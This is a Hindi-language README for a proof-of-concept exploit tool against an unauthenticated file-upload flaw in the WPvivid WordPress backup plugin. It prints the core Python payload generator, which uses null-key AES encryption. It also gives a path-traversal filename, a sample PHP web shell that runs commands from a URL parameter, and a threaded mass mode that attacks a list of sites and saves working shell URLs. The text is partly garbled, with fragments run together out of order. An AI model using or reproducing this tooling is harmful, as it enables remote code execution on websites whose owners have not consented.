
Migration, Backup, Staging <= 0.9.123 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड
CVE-2026-1357.py)माइग्रेशन, बैकअप, स्टेजिंग – WPvivid Backup & Migration ≤ 0.9.123
कमजोरी: बिना प्रमाणीकरण (Unauthenticated) मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन
CVE: CVE-2026-1357 – CVSS 9.8 (क्रिटिकल)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py WPvivid कमजोरी के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइटेशन टूल है। यह दोषपूर्ण AES सत्र हैंडलिंग पर केंद्रित है जो हमलावर को निम्नलिखित की अनुमति देता है:
name) एम्बेड करें।wpvivid_action=send_to_site पैरामीटर के माध्यम से WPvivid एंडपॉइंट पर भेजें।स्क्रिप्ट सीधे निजी कुंजियों (private keys) का अनुमान लगाने या दुरुपयोग करने का प्रयास नहीं करती। इसके बजाय, यह WPvivid के टूटे हुए प्रवाह का अनुकरण करती है जहाँ विफल openssl_private_decrypt() के कारण phpseclib का AES सिफर नल-कुंजी के साथ प्रारंभ होता है।
एक्सप्लॉइट का मूल gen_wpvivid_payload() में है:
यह एक JSON संरचना बनाता है:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
यह JSON को सीरियलाइज़ करता है (कॉम्पैक्ट रूप, बिना स्पेस)।
यह JSON को इसका उपयोग करके एन्क्रिप्ट करता है:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16फिर यह आगे जोड़ता है:
"000" (एक स्थिर लंबाई-क्षेत्र प्लेसहोल्डर)।"{len(cipher):016X}" के रूप में एन्कोड की गई।अंतिम एन्क्रिप्टेड ब्लॉब है:
"000" + <16-बाइट सिफर लंबाई हेक्स> + <कच्चा AES-CBC सिफरटेक्स्ट>
यह ब्लॉब बेस64-एन्कोड किया जाता है और अंतिम wpvivid_content मान के रूप में लौटाया जाता है।
फ़ंक्शन:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
यह RSA डिक्रिप्शन विफलता के बाद कमजोर कोड पथ में WPvivid की डिक्रिप्शन अपेक्षाओं से मेल खाता है।
स्क्रिप्ट में दो मुख्य मोड हैं, साथ ही मास-टेस्टिंग क्षमता भी है:
mood1 – पेलोड जनरेटर
wpvivid_content मान उत्पन्न करता है।mood2 – एकल लक्ष्य परीक्षक
मास मोड (mood1 से)
python3 CVE-2026-1357.py
आपको एक Rich-आधारित UI दिखाई देगा जिसमें बैनर और मोड चयन होगा:
mood1 – पेलोड जनरेटरmood2 – एकल लक्ष्य परीक्षकwpvivid_content) बनाएं जो एन्कोड करता है:
मोड चयन
जब संकेत दिया जाए:
Choose mode (mood1/mood2) [mood1]:
Enter दबाएं (डिफ़ॉल्ट mood1 है) या mood1 टाइप करें।
लक्ष्य फ़ाइलनाम / पथ
आपसे पूछा जाता है:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
उदाहरण:
WPvivid बैकअप निर्देशिका में एक फ़ाइल डालने के लिए:
Nx_.php
डायरेक्टरी ट्रैवर्सल का दुरुपयोग करने के लिए (यदि लक्ष्य द्वारा अनुमति है):
../../public_html/Nx_.php
यह मान JSON पेलोड के name फ़ील्ड में जाता है।
सामग्री इनपुट मोड
स्क्रिप्ट फ़ाइल सामग्री को परिभाषित करने के तीन तरीके दिखाती है:
EOF के साथ समाप्त होती है)।shell.php)।पेलोड उत्पन्न करने के बाद, स्क्रिप्ट पूछती है:
Auto-send this payload to targets list (mass mode)? (y/N):
यदि आप y उत्तर देते हैं, तो यह आपके द्वारा अभी बनाए गए पेलोड और फ़ाइलनाम के साथ मास मोड शुरू करती है।
लक्ष्य फ़ाइल
उदाहरण संकेत:
Targets list file (one URL per line):
फ़ाइल का अपेक्षित प्रारूप (जैसे targets.txt):
https://site1.com
site2.com
http://site3.net
स्क्रिप्ट स्वचालित रूप से बेस URL को सामान्य करेगी (जहाँ अनुपस्थित हो वहाँ स्कीम जोड़ना)।
थ्रेड गणना
Threads (concurrent sites) [5]:
नियंत्रित करता है कि कितनी साइटें समानांतर में संसाधित होंगी।
प्रति-लक्ष्य तर्क
प्रत्येक लक्ष्य के लिए:
URL को सामान्य करें → base_url।
कॉल करें:
send_wpvivid_payload(base_url, payload)
जो:
wpvivid_action=send_to_site + wpvivid_content=<payload> POST बनाता है।{"result":"success"} शामिल है या नहीं (कॉम्पैक्ट फॉर्म जाँच)।wpvivid_payload.txt या बाहरी स्रोत से) का उपयोग एकल URL के विरुद्ध करें और परिणामी फ़ाइल को सत्यापित करें।लक्ष्य URL
संकेत:
Target base URL (e.g., https://site.com):
उदाहरण:
https://victim.com
स्क्रिप्ट इसे ऐसे बेस में सामान्य करती है:
https://victim.com
फ़ाइल का नाम
संकेत:
Expected file name (e.g., Nx_.php):
यह वह नाम/पथ है जिसे आप अपेक्षा करते हैं कि WPvivid लिखेगा (पेलोड के name फ़ील्ड में आपके द्वारा एन्कोड किए गए मान से मेल खाता हुआ)।
पेलोड इनपुट
संकेत:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=... से शुरू होने वाली पूरी पंक्ति पेस्ट करते हैं, तो यह उपसर्ग हटा देती है।निष्पादन
स्क्रिप्ट:
wpvivid_action=send_to_site + आपके wpvivid_content के साथ POST भेजती है।
यह मोड पेलोड पर बेहतर नियंत्रण के साथ एकल साइट के मैनुअल / लैब परीक्षण के लिए आदर्श है।
wpvivid_payload.txt
mood1 में लिखी जाती है।file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (मास मोड) और mood2 द्वारा लिखी जाती है।यह टूल केवल इसके लिए अभिप्रेत है:
इस स्क्रिप्ट का उपयोग करके, आप सहमत हैं कि:
इसे अपने जोखिम पर और केवल वैध सुरक्षा परीक्षण के लिए उपयोग करें।
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedअपडेट, टूल्स और सुरक्षा अनुसंधान सामग्री के लिए, टेलीग्राम चैनल को फॉलो करें:
👉 @KNxploited
आपको संकेत दिया जाता है:
Mode [1/2/3] [1]:
मोड 1 – एक पंक्ति
Single line content:
इनपुट उदाहरण:
<?php phpinfo();
मोड 2 – बहु-पंक्ति
Enter file content, line by line. Type 'EOF' on its own line when done.
आप मल्टी-लाइन PHP स्क्रिप्ट पेस्ट या टाइप कर सकते हैं, फिर अंत में अकेली पंक्ति में EOF डालें:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
मोड 3 – स्थानीय फ़ाइल
Local file path (e.g., shell.php):
स्क्रिप्ट पूरी फ़ाइल को file_bytes में पढ़ती है।
पेलोड निर्माण
सामग्री कैप्चर होने के बाद, स्क्रिप्ट:
आपको इस तरह आउटपुट दिखाई देता है:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
और wpvivid_payload.txt फ़ाइल लिखी जाती है:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
यदि अपलोड सफल माना जाता है:
shell_url का निर्माण इस प्रकार करें:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
इसे Nx_.txt में सहेजें।
verify_written_file() का प्रयास करें:
shell_url का अनुरोध करें।status_code == 200, सत्यापित के रूप में चिह्नित करें।यदि कोई त्रुटि होती है:
short_reason() के माध्यम से कारण वर्गीकृत करती है:
UI
[OK] <shell_url>।[FAIL] <base> (reason: ...)।[!] Not verified (...) जब अपलोड सफल हो सकता है लेकिन सत्यापन विफल रहा।यदि प्रतिक्रिया सफलता का संकेत देती है, तो यह निर्माण करती है:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
और उस URL के साथ [OK] प्रिंट करती है।
सफल URL को Nx_.txt में जोड़ती है।
verify_written_file() के माध्यम से सत्यापन का प्रयास करती है और परिणाम प्रिंट करती है।